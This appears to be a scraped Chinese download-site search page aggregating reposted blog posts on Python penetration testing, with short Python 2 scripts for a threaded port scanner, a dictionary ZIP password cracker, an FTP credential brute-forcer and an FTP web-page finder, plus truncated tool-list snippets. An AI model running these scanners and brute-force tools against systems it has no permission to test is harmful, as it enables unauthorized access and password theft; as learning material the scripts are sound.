精华内容
下载资源
问答
  • 2019独角兽企业重金招聘Python工程师标准>>> ...

    一、环境

        windows 10 +python2.7

    二、代码

    #!/bin/env python
    # coding=utf-8
    
    import optparse
    from threading import *
    from socket import *
    
    screenLock = Semaphore(value=1)
    
    
    def connScan(tgtHost, tgtPort):
        global connSkt
        try:
            connSkt = socket(AF_INET, SOCK_STREAM)
            connSkt.connect((tgtHost, tgtPort))
            connSkt.send('ViolentPython\r\n')
            total_data = []
            while True:
                data = connSkt.recv(20480)
                if not data:
                    break
                total_data.append(data)
            screenLock.acquire()
            print '[+]%d/tcp open' %tgtPort
            print '[+] '.join(total_data)
        except:
            screenLock.acquire()
            print '[-]%d/tcp closed' % tgtPort
        finally:
            screenLock.release()
            connSkt.close()
    
    
    def portScan(tgtHost, tgtPorts):
        try:
            tgtIP = gethostbyname(tgtHost)
        except:
            print "[-]Cannot resolve '%s': Unknown host" % tgtHost
            return
        try:
            tgtName = gethostbyaddr(tgtIP)
            print '\n[+] Scan Results for: ' + tgtName[0]
        except:
            print '\n[+] Scan Results for: ' + tgtIP
        setdefaulttimeout(2)
        for tgtPort in tgtPorts:
            print 'Scanning port ' + tgtPort
            t = Thread(target=connScan, args=(tgtHost, int(tgtPort)))
            t.start()
    
    
    def main():
        parser = optparse.OptionParser('usage %prog -H' +\
                                       '<target host> -p <target port>')
        parser.add_option('-H', dest='tgtHost', type='string', \
                          help='specify target host')
        parser.add_option('-p', dest='tgtPort', type='int', \
                          help='specify target port[s] separated by comma')
        (options, args) = parser.parse_args()
        tgtHost = options.tgtHost
        tgtPorts = str(options.tgtPort).split(', ')
    
        if (tgtHost is None) | (tgtPorts[0] is None):
            print '[-] You must specify a target host and port[s].'
            exit(0)
        portScan(tgtHost, tgtPorts)
    
    if __name__ == '__main__':
        main()

    cmd下运行python PortScan.py -H IP -p port

    转载于:https://my.oschina.net/medivhxu/blog/1476322

    展开全文
  • 2019独角兽企业重金招聘Python工程师标准>>> ...

    一、环境

        windows 10 +python2.7

    二、文件

        tree file

                |------crack_zipfile.py

                |------123.zip

                |------dictionary.txt

    三、思路

        跑字典(没有字典?请看这里-->http://blog.csdn.net/qq_33936481/article/details/51277679)

    四、代码

    #!/bin/env python
    # coding=utf-8
    
    import zipfile
    from threading import Thread
    
    
    def extractFile(zFile, password):
        try:
            zFile.extractall(pwd=password)
            print '[+] Found password ' + password + '\n'
        except:
            pass
    
    
    def main():
        zFile = zipfile.ZipFile('123.zip')
        passFile = open('dictionary.txt')
        for line in passFile.readlines():
            password = line.strip('\n')
            t = Thread(target=extractFile, args=(zFile, password))
            t.start()
    
    
    if __name__ == '__main__':
        main()
    

     

    转载于:https://my.oschina.net/medivhxu/blog/1456639

    展开全文
  • 2019独角兽企业重金招聘Python工程师标准>>> ...

    一、环境

        windows10 + python2.7

    二、思路

        遍历密码字典

    三、code

    #!/usr/bin/env python
    # coding=utf-8
    
    import ftplib
    
    
    def bruteLogin(hostname, passwordFile):
        pF = open(passwordFile, 'r')
        for line in pF.readlines():
            username = line.split(':')[0]
            password = line.split(':')[1].strip('\r').strip('\n')
            print '[+] Trying: ' + username + '/' + password
            try:
                ftp = ftplib.FTP(hostname)
                ftp.login(username, password)
                print '\n [*] ' + str(hostname) + 'FTP logon Succeeded: ' + username + '/' + password
                ftp.quit()
                return username, password
            except Exception, e:
                pass
        print '\n[-] Could not brute force FTP credentials.'
        return None, None
    
    
    host = '192.168.0.0'
    passwordFile = 'userpass.txt'
    bruteLogin(host, passwordFile)

     

    转载于:https://my.oschina.net/medivhxu/blog/1486406

    展开全文
  • 2019独角兽企业重金招聘Python工程师标准>>> ...

    一、环境

        windows10 + python2.7

    二、思路

        扫描文件后缀

    三、code

    #!/usr/bin/env python
    # coding=utf-8
    
    import ftplib
    
    
    def returnDefault(ftp):
        try:
            dirList = ftp.nlst()
        except:
            print '[-] Could not list directory contents.'
            print '[-] Skipping To Next Tatget.'
            return
        retList = []
        for fileName in dirList:
            fn = fileName.lower()
            if '.php' in fn or '.html' in fn or '.asp' in fn:
                print '[+] Found default page: ' + fileName
                retList.append(fileName)
        return retList
    
    
    host = '192.168.0.0'
    userName = 'root'
    passWord = '12456'
    ftp = ftplib.FTP(host)
    ftp.login(userName, passWord)
    returnDefault(ftp)
    

     

    转载于:https://my.oschina.net/medivhxu/blog/1486464

    展开全文
  • 渗透测试常用Python工具全集发表于:2016-06-23来源:freebuf作者:felix点击数:如果你从事漏洞研究、逆向工程或者渗透测试,应该绝对试试 Python !如果你从事漏洞研究、逆向工程或者渗透测试,应该绝对试试 Python...
  • 如果你从事漏洞研究、逆向工程或者渗透测试,应该绝对试试Python!  如果你从事漏洞研究、逆向工程或者渗透测试,应该绝对试试Python!  网络  Scapy,Scapy3k:发送、嗅探、解析和伪造网络数据包,可交互使用或作为...
  • 渗透测试过程中如果请求传参被加密且加密传输方法通过前端js无法定位到的情况下,这种如果是登录口要进行字典枚举测试那就可以通过Selenium浏览器自动化测试框架来进行自动化测试Selenium 驱动调用from selenium ...
  • 基于python渗透测试by Shashi Kumar Raja 由Shashi Kumar Raja Python中基于属性的测试简介 (Intro to property-based testing in Python) In this article we will learn a unique and effective approach to ...
  • PytheM是一个Python渗透测试框架。它只能在osnGNU/Linux OS系统上运行。安装$sudo apt-get update$sudo apt-get install libasound-dev libjack-jackd2-dev portaudio19-dev python-pyaudio build-essential python-...
  • 学员要求:学习计算机最为基础的内容(开关机、安装软件)课程声明:本课程设计目的只用于教学,帮助更多人学习安全技能 ,切勿使用课程中的技术进行违法活动,学员利用课程中的技术造成的后果与讲师本人无关,倡导...
  • Python渗透测试编程技术
  • Python渗透测试

    2018-08-01 09:26:35
    python环境:python+KaliLinux虚拟机+WingIDE python网络编程(TCP客户端/UDP客户端-TCP客户端)-netcat(TCP/UDP连接)-TCP代理-Paramiko使用SSH ### 取代netcat ### #!/usr/bin/python #-*- coding:utf8 -*- ...
  • pypcap, Pcapy, pylibpcap: 几个不同 libpcap 捆绑的python库 libdnet: 低级网络路由,包括端口查看和以太网帧的转发 dpkt: 快速,轻量数据包创建和分析,面向基本的 TCP/IP 协议 Impacket: 伪造和...
  • 针对零基础入门的小伙伴,教程涉及Python编程入门,kali linux渗透测试从入门到实践等内容。让大家即学会常用的渗透测试工具,同时也掌握一定的编程能力,不做别人眼中的脚本小子,真正的实现从小白到大牛的转变。
  • python网站渗透测试

    2018-12-10 00:16:23
    Welcome to our book on Python and web application testing. Penetration testing is a massive field and the realms of Python are even bigger. We hope that our little book can help you make these ...
  • 所以,为了拒当脚本小子,往后我的博客会用python来写一些渗透测试中常见的工具。代码不在多而在于精,我的主要目的是用最简单的代码实现强大的功能。 我用的IDE是pycharm,用的python3(首先导入urllib3包,用python...
  • 0×00渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小使用,求欣赏,求好评。0×01记录root密码小工具root.py#!/usr/bin/python...
  • 就我而言,Python和Ruby在很大程度上是混搭的。当你真正开始做的时候,他们基本上都做同样的事情,这都取决于你的喜好。Metasploit是用Ruby编写的,许多很棒的笔工具都是用Python编写的。Perl也是一个不错的选择,我...
  • Python渗透测试工具合集: http://www.freebuf.com/sectool/94777.html Github:python黑客工具军火库 https://www.cesafe.com/373.html/2/ 适用于渗透测试不同阶段的工具收集整理: ...
  • 如果你从事的行业是漏洞研究,逆向工程或者渗透测试,那么Python语言你将值得拥有。它是一个具有丰富的扩展库和项目的编程语言。本文仅仅列出了其中的一小部分。下面列举的工具大部分是用Python写的,剩下的一部分是...
  • 渗透测试从互联网找到了入侵内网的入口点之后剩下的就内网渗透测试了。  有人说到了内网还不容易,随便拿个hscan一抓一大把弱口令。我同意这个看法,但是在我看来,内网环境复杂得多,要想精确获取自己想要的...
  • 使用Python构建强大而强大的网络安全工具随着当前的技术和基础设施转变,渗透测试不再是面向过程的活动。现代渗透测试需要大量的自动化和创新;唯一支配所有同行的语言是Python。鉴于使用Python编写的大量工具及其在...
  • 一个开源的模糊测试数据库https://github.com/fuzzdb-project/fuzzdb 是一个开源的漏洞注入和资源发现的原语字典。其提供了攻击、资源发现和响应分析的资源。第一个暴力探测器接下来,我们需要把上面介绍的数据库...
  • ARP扫描渗透测试Python)

    千次阅读 2018-06-29 23:06:18
    任务描述:假定各位选手是TaoJin电子商务企业的信息系统安全工程师,负责该企业信息系统的安全维护,现欲对该系统中主机进行ARP扫描渗透测试,确认该系统中都有哪些IP主机在线.1.进入虚拟机操作系统:Ubuntu Linux ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,381
精华内容 552
关键字:

渗透测试python

python 订阅